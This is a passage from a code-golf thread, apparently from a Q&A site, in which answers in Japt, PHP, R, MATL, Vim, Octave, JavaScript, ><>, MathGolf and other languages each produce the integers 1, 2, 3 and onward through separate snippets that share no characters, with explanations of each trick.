repeatedly incremented and added such that the final result is **1 + 3 + 4 + 5 + 6 + 7 = 26**. --- [``` »³³ ```](https://ethproductions.github.io/japt/?v=1.4.5&code=u7Oz&input=) `³` is the shortcut for the `p` method with an argument of **3**. However, if a lowercase letter appears directly after a left-parenthesis (`»` is the shortcut for `((`), it becomes a string. This lets it get passed to a method and called as a function (i.e. `m³` would be mapping by `.p(3)`). In this case, however, `("p",3)` returns our`3`, then we raise it to the power of `3` (`p` is the power method when applied to a number), which gives us our **27** . --- [``` 7/¼ ```](http://ethproductions.github.io/japt/?v=1.4.5&code=Ny+8&input=) `¼`, as you probably know by now, is a shortcut for `.25`, so this calculates **7 / 0.25 = 28**. --- [``` $'_____________________________b'$bb ```](http://ethproductions.github.io/japt/?v=1.4.5&code=JCdfX19fX19fX19fX19fX19fX19fX19fX19fX19fX2InJGJi&input=) Anything wrapped in `$` symbols is treated as pure JavaScript, so we've got a string of 29 underscores followed by a `b`. (Without the `$`, `'` would be a single-character string.) The `b` method when applied to a string returns the first index of its argument within that string. As explained in **#3**, the last `b` is converted to a string, so we're grabbing the first index of `b` in our string, which is **29**. --- [``` ZµÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ ```](https://ethproductions.github.io/japt/?v=1.4.5&code=WrXJycnJycnJycnJycnJycnJycnJycnJycnJycnJyck=&input=) `µ` is a shortcut for `-=`, and `É` for `-1`. The effect is subtracting 30 copies of **-1** from **0**, which gives **30**. --- [``` "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"aa ```](http://ethproductions.github.io/japt/?v=1.4.5&code=ImFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhImFh&input=) Very much like #29. The `a` method, when applied to a string, returns the last index of its argument in that string. Using 0-indexing, the last index of `a` in a string of 32 `a`s is **31**. --- [``` Sc ```](http://ethproductions.github.io/japt/?v=1.4.5&code=U2M=&input=) `S` is predefined to a single space, and `c` on a single-char string returns its char-code, giving **32**. --- ``` 33 ``` Literal **33**. --- [``` Mg011 ```](http://ethproductions.github.io/japt/?v=1.4.5&code=TWcwMTE=&input=) `MgN` returns the Nth Fibonacci number. `011` is **9** in octal; the 9th Fibonacci number is **34**. --- [``` ## ```](http://ethproductions.github.io/japt/?v=1.4.5&code=IyM=&input=) `#` returns the char-code of the next character. The char-code of `#` itself happens to be **35**, making our job here especially easy. --- [``` 6p ```](http://ethproductions.github.io/japt/?v=1.4.5&code=NnA=&input=) `p` is exponentiation, and without a second argument it defaults to **2**; thus, this prints **6 \*\* 2 = 36**. --- [``` Rí í í í í è. ```](http://ethproductions.github.io/japt/?v=1.4.5&code=Uu0g7SDtIO0g7SDoLg==&input=) This one is rather tricky. `R` defaults to a single newline character (that it's a newline becomes important later). `í` on a string, without any arguments, takes each character and appends its index: a rather useless transformation, but the result through 5 iterations is this: (using `R` instead of a literal newline) ``` R R0 R001 R0010213 R001021304251637 R0010213042516370849210511112613314715 ``` Interesting how each entry is simply a prefix of the next... But anyway, the last part, `è.`, counts how many matches of `/./g` are found in the result. There are 38 chars in the string; however, since `/./g` only matches non-newline chars, the result is **37**. --- [``` `¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥¥`l ```](http://ethproductions.github.io/japt/?v=1.4.5&code=YKWlpaWlpaWlpaWlpaWlpaWlpaVgbA==&input=) Backticks mark a compressed string, and `¥` decompresses to `ll`. `l` on a string gives `l`ength, so after decompression, this gives **38**. --- [``` ¨N|N¹òò¹m···m|¹mò¹m···m|¹mò¹m···m|¹o ```](http://ethproductions.github.io/japt/?v=1.4.5&code=qE58Trny8rltt7e3bXy5bfK5bbe3t218uW3yuW23t7dtfLlv&input=) Oooh boy, this one's a doozy. First, we generate `true` with `¨N` (`¨` stands for `>=`, and `N` with no inputs is the empty array), then convert that to `1` with `|N`. From there on out it gets pretty crazy: ``` ò Inclusive range [0..1], [0, 1] ò making each an inclusive range. [[0], [0, 1]] m· Join each on newlines. ["0", "0\n1"] · Join on newlines. "0\n0\n1" · Split on newlines. ["0", "0", "1"] m Map each item X and index Y to | X | Y. ["0" | 0, "0" | 1, "1" | 2] -> [0, 1, 3] m Map each by ò inclusive range. [[0], [0, 1], [0, 1, 2, 3]] m··· Same as before. ["0", "0", "1", "0", "1", "2", "3"] m| Bitwise OR thing again. [0, 1, 3, 3, 5, 7, 7] mò Map each by inclusive range. [[0], [0, 1], ..., [0, 1, 2, 3, 4, 5, 6, 7]] m··· Same as before. ["0", "0", ..., "5", "6", "7"] m| Bitwise OR again. ["0"|0, "0"|1, ..., "5"|30, "6"|31, "7"|32] -> [0, 1, ..., 31, 31, 39] ``` (The `¹`s are just substitutes for close-parens and have been omitted.) The final `o` then pops and returns the final item in the array, giving **39**. --- [``` º¤¤*º¤ ```](http://ethproductions.github.io/japt/?v=1.4.5&code=uqSkKrqkKrqk&input=) Mostly the same trick as with **#3**. `¤` is the shortcut for the `s` method with an argument of **2**. In this case, however, the transpiled code is `(("s", 2).s(2) * (("s", 2) * (("s", 2))))`, or simplified, `(2).s(2) * (2 * 2)`. `.s(2)` returns the number as a base-2 string, which gives `"10"`; `* (2 * 2)` implicitly converts this to a number and multiplies by **4**, giving **40**. --- [``` (Å<<(Å<<(Å<<(Å<<(Å<<(Å^(Å<<(Å<<(Å<<(Å^(Å ```](http://ethproductions.github.io/japt/?v=1.4.5&code=KMU8PCjFPDwoxTw8KMU8PCjFPDwoxV4oxTw8KMU8PCjFPDwoxV4oxQ==&input=) Similar to the previous one. `Å` is the shortcut for the `s` method with an argument of **1**. In this case, however, each `(Å` transpiles to `("s", 1)`, which just returns **1**. `1<<1<<1<<1<<1<<1` is **32**, and `1<<1<<1<<1` is **8**; these are XORed together with `1` to get **41**. --- [``` Y±Y¶YY±YY±Y±Y¶YY±YY±Y±Y¶YY±Y ```](https://ethproductions.github.io/japt/?v=1.4.5&code=WbFZtllZsVlZsVmxWbZZWbFZWbFZsVm2WVmxWQ==&input=) `±` is a shortcut for `+=`, and `¶` for `===`. This means that the code is actually ``` Y+=Y===Y,Y+=Y,Y+=Y+=Y===Y,Y+=Y,Y+=Y+=Y===Y,Y+=Y ``` `Y===Y` is always true, so we can simplify this some: ``` Y+=1,Y+=Y,Y+=Y+=1,Y+=Y,Y+=Y+=1,Y+=Y ``` **0 + 1 = 1**; **1 + 1 = 2**; **2 + (2+1) = 5**; **5 + 5 = 10**; **10 + (10+1) = 21**; **21 + 21 = 42**. [Answer] # PHP, score 17, 130 Bytes characters used `ADEFGIKLMOPRSTVXYZ=_![]()<>'"#$,;/-+*|^&0123456789afhnprstwx` ``` Z==Z FTP_MOREDATA ';'&w ![]<<![]<<![] 5 6 "#"|"$"|"1" 8 SIGKILL 333333>>3>>3>>3>>3>>3 99/9 22-2-2-2-2-2 strspn(XXXXXXXXXXXXXX,X) 7+7 0xf 4*4 ha^YV ``` 1 Boolean constant Z (not set) equal constant Z 2 FTP\_MOREDATA is a constant in PHP with the value 2 3 bitwise and chars ; and w 4 bitwise Shift left and logical not cast empty array to boolean true with is cast to integer 1 through the shift left operator 7 bitwise Or chars # and $ and 1 9 SIGKILL is a constant in PHP with the value 9 10 bitwise Shift right every step is an integer division with 8 so we have the steps 333333, 41666, 5208, 651, 81 ,10 13 count char X in the string X... from the beginning 15 hexadecimal value f = 15 17 bitwise Xor with the strings ha and YV All snippets are items in an array [Try it online!](https://tio.run/##VY5dq4JAAETf@xetktpOlGapuBpCH0hGURKmWcTlir3UokI99N@9cqGgMzPneXjOazbhjbN7IdvilalmY0qV1u9Pfk9ix4kxDzfn1Xo7m3qhB8mWOg@0k5SxtzDCGEQgLyI2UwlM7PzF0g8CDP9x3a/CsvoWNK33CcqqKPlNjr5ApMCgBgbPDHpXR345HfZpQsVrCnKsiF0L3nQ2X/jLYLXebHfhPjrEzrl5JCvMlYggwu73aPd16gxUbaiPxoZpXbL8xouyejzrPw "PHP – Try It Online") # PHP, score 16, 94 Bytes characters used `AEIMPRTUZeflnrstvwx^_&|()[]=!.*+/-<>$":0123456789` ``` Z==Z ":"&"w" M_PI|[] TRUE<<TRUE<<TRUE 5 6 A^v 8 9 !$s.strlen($s) 77/7 3+3+3+3 111>>1>>1>>1 22-2-2-2-2 0xf 4*4 ``` 1 Boolean constant Z (not set) equal constant Z 2 bitwise and chars : and w 3 Pi casted to integer value through empty array casted to zero 7 bitwise xor chars A and v 10 variable $s not set !$s = one concat with string length of variable $s 13 111 /2 =55 /2 =27 /2 = 13 Integer division bitwise 15 hexadecimal value f = 15 All snippets are items in an array [Try it online!](https://tio.run/##Vc1LC4JAGIXhvf@iaRJ1Pi/jvRqNFi1cBBG50cxFKAWhoqIu/O8mEUS8h2d7qkc1sV01m5e1sMVPRt1ZQkQuuz/KOPK8CNAG8ahHcExPwRgncDmHB8Z@ggU27G8duLCGBW6Upq1fWSHgRgTHUR0wyCeglPr@d6Dr8jfQhhxMyUxigp8JoGuLttNyfwiOp/MljLL8VdRN2/XDLeVHQYwTb6FIRJWZv8Joo1HdMC3bcdfc8v98egM "PHP – Try It Online") # PHP, score 14, 84 Bytes characters used `$!_^[]()%/+~-=AEILMNPRUZ0123456789delnrstx` ``` Z==Z 2 M_PI^[] 4 5 6 ERA%11 8 9 !$s.strlen($s) 77/7 3+3+3+3 0xd -~-~-~-~-~-~-~-~-~-~-~-~-~-~-NULL ``` 1 Boolean constant Z (not set) equal constant Z 3 Pi casted to integer value through empty array casted to zero 7 ERA is a constant with the value 131116 mod 11 = 7 10 variable $s not set !$s = one concat with string length of variable $s is zero 13 hexadecimal value d = 13 14 bitwise not and minus sign raise NULL to 14 All snippets are items in an array [Try it online!](https://tio.run/##fc3NCkRQGIDh/dwFcxSdz3D8HUKThYVCUjaMsRgmSsixsJpbN5oLmN56tu/SL4d3X07f8yq6aPCIeYqxdOle/VyVvl@CBkmTRc@qBgNMsCDMA4EQsMEBDrEb29axm0TEJKBUoaDjX6DuLcifP6VFHNcVRkMN/GPj3eOKuObciJKg4I/sB2EUJ2mWF6VKNN0wLWo7bTdOK9v24ws "PHP – Try It Online") [Answer] ## R, score ~~13~~ 14 ``` F^F # F==0 in R q=""=="";q--q # ""=="" is TRUE, TRUE == 1 (Thanks WheatWizard) 3 4 5 6 7 8 9 1e1 # scientific notation for 10 22/2 T+T+T+T+T+T+T+T+T+T+T+T # T == 1 0xD sum(mtcars$vs) # mtcars is a built-in dataset, summing the $vs column gives 14 ``` Got an extra one thanks to user2390246. Characters used: `0123456789acemqrstuvxDFT^=";-/+()$` [Answer] # [MATL](https://github.com/lmendo/MATL), score ~~21~~ ~~22~~ 23 numbers (273 bytes) *Thanks to [J Doe](https://codegolf.stackexchange.com/users/70341/j-doe) for extending from 22 to 23 numbers!* ``` 0~ 'bd'd {P}gk HH^ 5 6 7 8 9 3 3.333333333333333* 11 IEE [B]Yq llllllllllllllNwxwxwxwxwxwxwxwxwxwxwxwxwxwx KUKUa- 4W FFFFFFFFFFFFFFFFFn TTTTTTTTTTTTTTTTTTs rrrrrrrrrrrrrrrrrrrhhhhhhhhhhhhhhhhhhz OOOOOOOOOOOOOOOOOOOOvZyX> JJJJJJJJJJJJJJJJJJJJJ++++++++++++++++++++J/ 22 `@QQQQQQQQQQQQQQQQQQQQQQ@@< ``` [**Try it online!**](https://tio.run/##y00syfn/36BOwYVLPSlFPQVIVwfUpmcDaQ@POCBpCsRmQGwOxBZAbAnExgrGesaoQAsobGgIJDxdXYFktFNsZCGQzkEBfuUVuCFQtXeod2iiLpBhEg4k3NBBHlAwBAMUA0WLMEEGBqgCKvTHAsqiKiPsgHJe2IA2FuClD1RtZAQkEhwCsQIHBxuFWJf//wE) Each snippet in the link is ended by either `D` (display) or `]D` (close loop explicitly and display) to clear the stack and thus isolate from the next snippet. ### Explanation ``` 0~ ``` Push `0`. Negate. Gives `true`, which is displayed as `1`. ``` 'bd'd ``` Push string `'bd'`. Consecutive difference between characters' code points. ``` {P}gk ``` Push cell array containing number `pi`. Convert to numeric array (i.e. to a single number). Round down. ``` HH^ ``` Push `2` twice. Power. ``` 5 ``` Numeric literal. ``` 6 ``` Numeric literal. ``` 7 ``` Numeric literal. ``` 8 ``` Numeric literal. ``` 9 ``` Numeric literal. ``` 3 3.333333333333333* ``` Push `3`. Push `3.333333333333333`. Multiply. Due to floating point accuracy this gives `10`. ``` 11 ``` Numeric literal. ``` IEE ``` Push `3`. Multiply by `2` twice. ``` [B]Yq ``` Push `[6]` (which is the same as `6`). Compute *n*-th prime. ``` llllllllllllllNwxwxwxwxwxwxwxwxwxwxwxwxwxwx ``` Push `1` 14 times. Number of elements in stack. Clear the rest of the stack. ``` KUKUa- ``` Push `4`. Square. Do the same. Any: gives `1`. Subtract. ``` 4W ``` Push `4`. `2` raised to that. ``` FFFFFFFFFFFFFFFFFn ``` Push array `[false false ... false]` (17 times). Number of elements in array. ``` TTTTTTTTTTTTTTTTTTs ``` Push array `[true true ... true]` (18 times). Sum of array. ``` rrrrrrrrrrrrrrrrrrrhhhhhhhhhhhhhhhhhhz ``` Push 19 random numbers taken from the interval (0,1). Concatenate horizontally 18 times. Number of nonzero elements in array. ``` OOOOOOOOOOOOOOOOOOOOvZyX> ``` Push `0` 20 times. Concatenate stack contents vertically (gives a column vector). Size: gives the array `[20 1]`. Maximum of array. ``` JJJJJJJJJJJJJJJJJJJJJ++++++++++++++++++++J/ ``` Push `1j` (imaginary unit) 21 times. Add 20 times. Divide by `1j`. ``` 22 ``` Numeric literal ``` `@QQQQQQQQQQQQQQQQQQQQQQ@@< ``` Do...while loop (```) with implicit end. In the first iteration it pushes the iteration index (`@`) and increments it (`Q`) 22 times, which yields `23`. The loop condition (`@@<`) is false, so the loop is exited. ### Some ideas for further improvement * (space) in snippet 10 could be replaced by `|` * `X>` in snippet 20 could be replaced by `p`, thus freeing prefix `X`. * Currently unused and potentially useful: `:`, `A` [Answer] # Vim 8 on Windows, score 13, 104 bytes ``` 1 2 3 4 5 6 7 ^R=&ts^@ 9 8^O^A^O^A 0^[^X^X^X^X^X^X^X^X^X^X^X0x :h<CR>wwwwwwwwwwwy$:q<CR>p grgKjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjYZZvPWWWllld|llD ``` `^{keystroke}` represents `<C-{keystroke}>`, so `^X` is `<C-x>`, except for `^@` which is `<C-j>`. I am still trying to add more numbers to this list and `<CR>` represents a linefeed. Note: to run these commands, start vim using `-u NONE -U NONE`. This is to ensure that your configs will not interfere with the code. Snippets 1 through 10 start in insert mode. While snippets 12 and 13 starts in normal mode. ### Explanations Snippet 8 is `:^R=&ts^@`. I have to thank @L3viathan for coming up with this and @nmjcman101 for suggesting `^@` as a replacement for the linefeed and @ØrjanJohansen for shortening `&tabstop` to `&ts`. `&ts` then evaluates to the size of the tab, which is by default at 8, and this value is inserted into the editor. Snippet 10 is `8^O^A^O^A`. We insert an 8, and then increment it twice to get 10. Snippet 11 is `0^[^X^X^X^X^X^X^X^X^X^X^X0x`. We write down a 0 and decrement it 11 times to get -11. Then we remove the minus to get 11. Snippet 12 is `:h<CR>wwwwwwwwwwwy$:q<CR>p`. This opens up Vim 8's help menu, which contains the following information: ``` *help.txt* For Vim version 8.0. Last change: 2016 Sep 12 ``` And the sequence of `w`s move to the 12, at which point `y$` copies the number. Then it is pasted into the editor using `p`. Snippet 13 is `grgKjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjYZZvPWWWllld|llD` thanks to @DJMcMayhem for coming up with it. This works only on Windows. The snippet searches the help menu for commands starting with `g`. Then it moves down using `j` to get to this line: ``` |g?| g? 2 Rot13 encoding operator ``` after which it copies it and pastes it in the buffer. After that, everything but the 13 is removed from the buffer. [Answer] # Mathematica, score 13 ``` x~D~x ⌊E⌋ 3 ⌈Pi⌉ 5 6 LucasL@4 8 9 0!+0!+0!+0!+0!+0!+0!+0!+0!+0! 77/7 Tr[{11,1}] -I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I-I*I ``` [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E), Score 18, 67 bytes ``` X Variable is initialized to 1 Y Variable is initialized to 2 2> 2 + 1 4 5 6 7 8 9 T Constant 10 3b 3 in binary •C Ascii code of 'C' 11Ì 11 in hex A'ok Index of 'o' in the alphabet žz¨¤x+ Middle character of '256' times 2, plus itself ¾<<<<n Variable initialized to 0, 4 times -1, squared ‘c‘‘c‘QDJH 'c' equals itself (true = 1), duplicated, converted from hex to dec тD÷·±D*· Constant 100, divided by itself, * 2, bitwise not, times itself, * 2 "d"aÐÐÐÐÐÐÐÐÐ)O "d" is_alpha (true = 1), triplicated 9 times, total sum ``` [Try it online!](https://tio.run/##MzBNTDJM/f@/pqxSL0xHM@b//wiuSC4jOy4TLlMuMy5zLgsuS64QLuMkrkcNi5y5DA0P93A5qudncx3dV3VoxaElFdpch/bZAEEeUMGMZCCGUoEuXh5cF5tcDm8/tP3QRhetQ9u5lFKUEg9PQIea/gA "05AB1E – Try It Online") [Answer] # [PingPong](https://esolangs.org/wiki/PingPong), score 127 In PingPong, every character has its own distinct numeric value, making counting all the way up to 127 a trivial task. The language works by reading in the value of every character and pushing it to the top of a stack, where all operations are performed. PingPong can theoretically go past 127 but it would require passing a block of characters that simply appear as spaces in a text editor so I left them out of my solution. ``` 1: 1 2: 2 3: 3 4: 4 5: 5 6: 6 7: 7 8: 8 9: 9 10: A 11: B 12: C 13: D 14: E 15: F 16: G 17: H 18: I 19: J 20: K 21: L 22: M 23: N 24: O 25: P 26: Q 27: R 28: S 29: T 30: U 31: V 32: W 33: X 34: Y 35: Z 36: a 37: b 38: c 39: d 40: e 41: f 42: g 43: h 44: i 45: j 46: k 47: l 48: m 49: n 50: o 51: p 52: q 53: r 54: s 55: t 56: u 57: v 58: w 59: x 60: y 61: z 62: © 63: ® 64: À 65: Á 66:  67: à 68: Ä 69: Å 70: Æ 71: Ç 72: È 73: É 74: Ê 75: Ë 76: Ì 77: Í 78: Î 79: Ï 80: Ð 81: Ñ 82: Ò 83: Ó 84: Ô 85: Õ 86: Ö 87: × 88: Ø 89: Ù 90: Ú 91: Û 92: Ü 93: Ý 94: Þ 95: ß 96: à 97: á 98: â 99: ã 100: ä 101: å 102: æ 103: ç 104: è 105: é 106: ê 107: ë 108: ì 109: í 110: î 111: ï 112: ð 113: ñ 114: ò 115: ó 116: ô 117: õ 118: ö 119: ÷ 120: ø 121: ù 122: ú 123: û 124: ü 125: ý 126: þ 127: ÿ ``` [Answer] # Octave, Score 14, 74 bytes Pretty sure I'm close to the limit now. ``` 1: ~0 % Not 0 == 1 2: "H"/"$" % "H" = 72, "$" = 36. H/$ = 2 3: 3 % Literal 4: 4 % Literal 5: 5 % Literal 6: 6 % Literal 7: 7 % Literal 8: 8 % Literal 9: 9 % Literal 10: ceil(pi*pi) % pi*pi = 9.87. ceil(9.87) = 10 11: 11 % Literal 12: 2+2+2+2+2+2 % Well, not much to say 13: ['','RT'-'!'] % 'RT' = [82,84]. Subtract '!' (33) to get ['',49,51]=13 14: nnz... % Number of non-zero elements in the string... nnnnnnnnnnnnnn % on this line. (This is an awesome trick by the way!) ``` Had to remove `strchr` since I already have `c` in number 10. I still have `j`, `^`, `=`, `!`, space and horizontal tab (ASCII-9) left, so it might be possible to squeeze one more in. Horizontal tab can be used as a space, so the trick used with `strchr` and `nnz` can be used one more time. The only lower case letters left are `abdfgjkmoquvwxy`. There aren't many functions that can be made out of these. `mod` could work, but it can't take string input. It's easy to use the remaining characters to get `1`, but I don't know how I can get anything else. [Test all](https://tio.run/##y08uSSxL/f@/zoBLyUNJX0lFicuYy4TLlMuMy5zLgsuSKzk1M0ejIFOrIFOTy9CQy0gbDrmi1dV11INC1HXVFdVjufLyqvT09IAUMuAqLilKzihSKEYBJQol//8DAA). Possibly useful: `fun a` is the same as `fun('a')`, `fun a b` is the same as `fun('a','b')` and so on. This can be used several places: ``` gt t g % Equivalent to 't'>'g'. Returns 1. Uses space (available) or o r % Equivalent to 'o' | 'r'. Returns 1. ``` Using this will make `0` available, but I can't see how to make it useful yet. `e (2.71828...)` and `j` are still unused. Must remove `ceil` to use `e` though. Alternatives (inspiration): ``` 1: ~0 % Not 0 = 1 2: 2 % Numeral 3: 3 % Numeral 4: fix(i^i^i^i) % Numeral 5: 5 % Numeral 6: 6 % Numeral 7: 7 % Numeral 8: 8 % Numeral 9: 9 % Numeral 10: 1+1+1+1+1+1+1+1+1+1 % Well, not much to explain 11: ['','RR'-'!'] % RR are [82,82] in ASCII, subtract 33 (!) to get % [49,49], and concatenate with the empty string to convert [49,49] to 11 12: nnz nnnnnnnnnnnn % Number of non-zero elements in the string containing 12 n 13: "4"/4 % "4" = 52. Divide it by 4 to get 13. ``` [Answer] # JavaScript (ES7), 16 integers, ~~137~~ ~~130~~ 128 bytes I took [@ETHproductions' answer](https://codegolf.stackexchange.com/a/124364/47097) and ran with it for a while; it's changed so much that I'm posting it separately. Ideas are welcome. :) ``` ""**"" -~-~{} 3 C=CSS==CSS;C<<C<<C 5 6 7 8 9 ++[[]][+[]]+[+[]] 11 4444444444444444444%44 222>>2>>2 `..............i`.indexOf`i` 0XF atob('MTY') ``` Remaining: `$_@#!^&|/?:, ABDEGHIJKLNPQRUVWZcghjklmpqrsuvwyz` Or, if the snippet for 1 is replaced with `!!/!//!!/!/`: `$_@#^&|*?:", ABDEGHIJKLNPQRUVWZcghjklmpqrsuvwyz` --- # JavaScript (ES7), 16 integers, 127 bytes One byte shorter. :P ``` ""**"" -~-~{} 3 4 5 6 7 C=CSS==CSS;C<<C<<C<<C 9 ++[[]][+[]]+[+[]] 11 `............i`.indexOf`i` 222>>2>>2 0XE atob('MTU') 88888888888888888%88 ``` Remaining: `$_@#!/^&|?:,ABDFGHIJKLNPQRVWYZcghjklmpqrsuvwyz` [Answer] # Dyalog APL, score 15, 89 bytes ``` ≡'' ≢### 3 4 ⍴⍬⍬⍬⍬⍬ 6 ⌈○2 8 9 1E1 ⎕D⍳⊂⎕D l:l 7--7-×7 (~0 0 0 0 0 0 0 0 0 0 0 0 0 0)⊥~0 5+5+5 ``` The newlines before `l:l` are part of 12. The spaces in 14 represents tabs. [Answer] ## [><>](https://esolangs.org/wiki/Fish), score 20, ~~93~~ ~~90~~ ~~74~~ 65 bytes *(3 bytes saved by Teal Pelican, lots of bytes saved by Jo King!)* ``` iii(( 2 3 ll{lll{[ 5 6 7 8 ! 00=0g a b c d e f 44* 'RA'% 999-9-- "&F#",, 1::+:++:+:+ ``` [Try them at the fish playground!](https://fishlanguage.com/playground) You can make the snippets print their results by adding `n;` to the end of each. Note that the 9th snippet contains a tab, which is eaten by stack exchange. Explanation: * In `iii((`, each `i` tries to get input, but since there isn't any, they push EOF = `-1` instead. Then `(` is the less-than instruction, and since `-1` is not less than `-1`, it pushes a falsey `0`; but the second `(` asks if `-1` is less than `0`, which it is, so it pushes a truthy `1`. * `2` and `3` are obvious. * For `ll{lll{[`, the first `l` pushes the length of the stack, which is `0`, then the second pushes the new length, bringing the stack to `0, 1`. The `{` rotates the stack left, swapping the `1` and `0`. Three more `l`s bring the stack to `1, 0, 2, 3, 4`. Then `{` rotates the `1` to the front, and `[` siphons off the first `1` thing on the stack, which is `4`. * `5`, `6`, `7` and `8` are obvious too. * In `!\t00=0g` (where `\t` represents a tab), `!` skips the tab, then `00=` pushes two zeros and checks if they're equal — they are, so we get a truthy `1`. After pushing another `0`, the `g` gets the character in position `1,0` of the code, which is the tab with character code `9`. * `a` through to `f` each push `10` to `15` respectively (presumably to make hexadecimal nice). * `44*` pushes two `4`s and multiplies them together, for `16`. * `'RA'` pushes the character codes of `R` and `A` (82 and 65 respectively) to the stack, then `%` computes `82 mod 65 = 17`. * `999-9--` evaluates to `9 - ((9 - 9) - 9) = 18`. * `"&F#"` pushes the character codes of `&`, `F` and `#`, which are `38`, `70` and `35` respectively. Then `,` is division, so we get `38 / (70 / 35) = 19`. * Finally, `1::` pushes a `1` and duplicates it twice, `+` adds two of the ones together to get `2`; `:+` duplicates the `2` and adds it to itself to get `4`; `+` adds the leftover `1` to get `5`; then `:+:+` duplicates and adds twice, resulting in `20`. This is the maximum score possible with ><>. Any snippet must include an instruction somewhere that turns an empty stack into a non-empty stack, and there are only 18 ><> instructions that can do that (namely `i`, `l`, and the digits `0–9` and `a–f`), plus string mode. (Every other instruction either does nothing to an empty stack, `><v^/\|_#x!{}r`, or tries to pop something and errors, `?.+-*,%=():~$@[]on&gp`.) Entering string mode uses either `"` or `'`, so there are at most `18 + 2 = 20` snippets possible. --- If you're more comfortable with unprintables than I am, this is possible in 53 bytes, thanks to Jo King: `00=, iii((i-, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f, 2222***, !Xll$g, 11+::+:+:++, 'Y', "Z"`, where the `X`, `Y` and `Z` are replaced by characters with codes `17`, `19` and `20` respectively. [Answer] # [MathGolf](https://github.com/maxbergmark/mathgolf/blob/master/math_golf.txt), ~~48~~ ~~51~~ ~~53~~ 60 integers, 419 [bytes](https://github.com/maxbergmark/mathgolf/blob/master/code_page.py) ``` î ª∞~ c±b±+ φⁿ_¥- 5 6 7 ○¢i♀/ d² ♂ A B C D E ☻ F G H I J K L M N O P Q R S T ♥ U V W X Y Z ♫¼¼¼¼ 88888]Σ 41 ╔½½½½½½½½½½½ π░3§3 22#22# τ╥└ ♦⌡⌡⌡⌡⌡⌡⌡⌡⌡ ♪■■■■■■■ '0$ ÿÿÿÿÿ£9 )))))))))))))))))))))))))))))))))))))))))))))))))) ►◄╠•╠ ☼╪╪☼╪╪╪╪╪╪╪╪╪╪╪╪╪% ♣((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((( ee*e*e*╒┤\; ╚r▓r▓r▓r▓r▓r▓ ♠▒╞y !⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠⌠ "hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh"hÞ ◘f√√√√√√√üf√√üf√√√√üf√√√√√√√ü ╟ ``` +2 score (and -2 distinct bytes used for `40`) thanks to *@maxb*. Each line is a separated program. Used bytes (114 distinct bytes): `îª∞~c±b+φⁿ_¥-567○¢i♀/d²♂ABCDE☻FGHIJKLMNOPQRST♥UVWXYZ♫¼8]Σ41╔½π░3§2#τ╥└♦⌡♪■'0$ÿ£9)►◄╠•╠☼╪%♣(e*╒┤\;╚r▓♠▒╞y!⌠"hÞ◘f√ü╟`. **Explanation and TIO-links:** MathGolf is a new golfing language specialized in mathematical golfing challenges. It has loads of single-byte builtins for numbers, making this a perfect challenge for it. 1) `î`: Push the 1-indexed value of the loop, which is 1 by default: [Try it online.](https://tio.run/##y00syUjPz0n7///wuv//AQ) 2) `ª∞~`: Push [1]; double it ([2]); pop list and push its content onto the stack: [Try it online.](https://tio.run/##y00syUjPz0n7///Qqkcd8@r@/wcA) 3) `c±b±+`: Push -2; then pop and push its absolute value; push -1; then pop and push its absolute value; and add them together [Try it online.](https://tio.run/##y00syUjPz0n7/z/50MakQxu1//8HAA) 4) `φⁿ_¥-`: Push the golden ratio (1.618033988749895); cube it (4.23606797749979); duplicate the top of the stack; take modulo 2 (0.23606797749979); subtract them from each other: [Try it online.](https://tio.run/##y00syUjPz0n7//9826PG/fGHlur@/w8A) 5,6,7) The numbers themselves: [Try it online.](https://tio.run/##y00syUjPz0n7/9@0gMusgMu84P9/AA) 8) `○¢i♀/`: Push 2048; convert to a hexadecimal string (800); cast to integer; push 100; divide: [Try it online.](https://tio.run/##y00syUjPz0n7///R9O5DizIfzWzQ//8fAA) 9) `d²`: Push -3; squared: [Try it online.](https://tio.run/##y00syUjPz0n7/z/l0Kb//wE) 10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38) Push builtins for the numbers themselves (`♂ABCDE☻FGHIJKLMNOPQRST♥UVWXYZ`): [Try it online.](https://tio.run/##BcG5FYIAFADBfLtCDlEUBG8zEjXQxwZWQBVYi93QyHfm3X@ej@F1j5i/oySykFQyyWWeflLIUkpZyVoq2chWamlkJ610speDHOUkZ7nIVW5G/AE) 39) `♫¼¼¼¼`: Push 10000; integer-divided by 4 four times: [Try it online.](https://tio.run/##y00syUjPz0n7///RzNWH9kDg//8A) 40) `88888]Σ`: Push 8 five times; wrap them into a list; sum that list: [Try it online.](https://tio.run/##y00syUjPz0n7/98CBGLPLf7/HwA) 41) The number itself: [Try it online.](https://tio.run/##y00syUjPz0n7/9/E8P9/AA) 42) `╔½½½½½½½½½½½`: Push 86400; integer-divided by 2 eleven times: [Try it online.](https://tio.run/##y00syUjPz0n7///R1CmH9mKD//8DAA) 43) `π░3§3`: Push PI (`3.141592653589793`); cast to string; pop and push its third 0-indexed character (4); push 3; output the entire stack joined together implicitly: [Try it online.](https://tio.run/##y00syUjPz0n7//98w6NpE40PLTf@/x8A) 44) `22#22#`: Push 2 two times; take the power of the two (4); do it again; output the entire stack joined together implicitly: [Try it online.](https://tio.run/##y00syUjPz0n7/9/ISBmI/v8HAA) 45) `τ╥└`: Push 2\*PI (6.283185307179586); pop and push the power of 2 below it that's closest (4); push the top of the stack + 1 without popping (5); output the entire stack joined together implicitly: [Try it online.](https://tio.run/##y00syUjPz0n7//98y6OpSx9NmfL/PwA) 46) `♦⌡⌡⌡⌡⌡⌡⌡⌡⌡`: Push 64; decrement by 2 nine times: [Try it online.](https://tio.run/##y00syUjPz0n7///RzGWPehbiQv//AwA) 47) `♪■■■■■■■`: Push 1000; push next [Collatz number](http://oeis.org/A006370) 